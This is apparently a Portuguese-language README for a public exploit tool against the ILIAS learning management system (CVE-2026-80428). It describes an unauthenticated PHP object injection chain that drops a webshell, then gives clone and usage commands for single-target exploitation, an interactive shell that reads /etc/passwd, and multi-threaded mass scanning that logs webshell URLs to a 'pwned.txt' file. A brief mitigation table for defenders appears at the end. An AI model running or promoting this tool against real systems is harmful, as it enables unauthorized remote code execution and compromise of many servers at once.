
ILIAS ≤ 9.21 / 10.9 / 11.2 — Injeção de Objeto PHP Não Autenticada (RCE)
CVE-2026-80428Vetor: Endpoint de logout back-channel do Shibboleth
Impacto: Execução Remota de Código completa como usuário do servidor web
Severidade: 🔴 CRÍTICA
CVE-2026-80428 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada que afeta o Sistema de Gestão de Aprendizagem ILIAS. Ao encadear uma primitiva de envenenamento de sessão em
ltiauth.phpcom uma chamada insegura deunserialize()emshib_logout.php, um atacante pode obter escrita arbitrária de arquivos e, por fim, Execução Remota de Código (RCE) — tudo sem autenticação.
| 🎯 Parâmetro | 📋 Valor |
|---|---|
| ID do CVE | CVE-2026-80428 |
| Tipo | Injeção de Objeto PHP → RCE |
| Autenticação Necessária | ❌ Nenhuma |
| Vetor de Ataque | Rede (HTTP/HTTPS) |
| Pontuação CVSS | 9.8 (Crítica) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Passo a passo:
ltiauth.php armazena um payload serializado dentro da sessão PHP sem validação.shib_logout.php processa uma requisição SOAP Shibboleth LogoutNotification manipulada e chama unserialize() nos dados da sessão.GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para inserir um webshell PHP em um caminho controlado pelo atacante.| 🏷️ Branch | ❌ Vulnerável | ✅ Corrigido |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Principais
|
💎 Qualidade de Vida
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Requisitos:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Opções:
| Flag | Descrição | Padrão |
|---|---|---|
--port | Porta de destino | 443 |
--path | Docroot do ILIAS no disco | /var/www/ilias/public |
--host-header | Cabeçalho Host personalizado | — |
--timeout | Tempo limite da requisição (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Opções:
| Flag | Descrição | Padrão |
|---|---|---|
-l, --list | Obrigatório — Arquivo de lista de alvos | — |
-t, --threads | Workers simultâneos | 20 |
-o, --output | Arquivo de saída para alvos vulneráveis | ilias_vuln.txt |
--path | Docroot do ILIAS | /var/www/ilias/public |
--host-header | Cabeçalho Host personalizado | — |
--timeout | Tempo limite da requisição (s) | 30 |
Crie um arquivo targets.txt:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Formatos suportados:
hosthost:porthttp://hosthttps://host:porthost/path (caminho removido) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Para defensores e administradores de sistemas:
| 🛠️ Ação | 📝 Detalhes |
|---|---|
| 🔼 Atualizar o ILIAS | 9.22 / 10.10 / 11.3 ou posterior |
| 🚫 Desativar o Shibboleth | Se não for utilizado — remover shib_logout.php |
| 🧱 Regras de WAF | Bloquear payloads SOAP LogoutNotification malformados |
| 📂 Restringir o Acesso de Escrita | A raiz web não deve ser gravável por www-data |
| 🔍 Monitorizar | Procurar ficheiros .php inesperados nas pastas de upload/cache |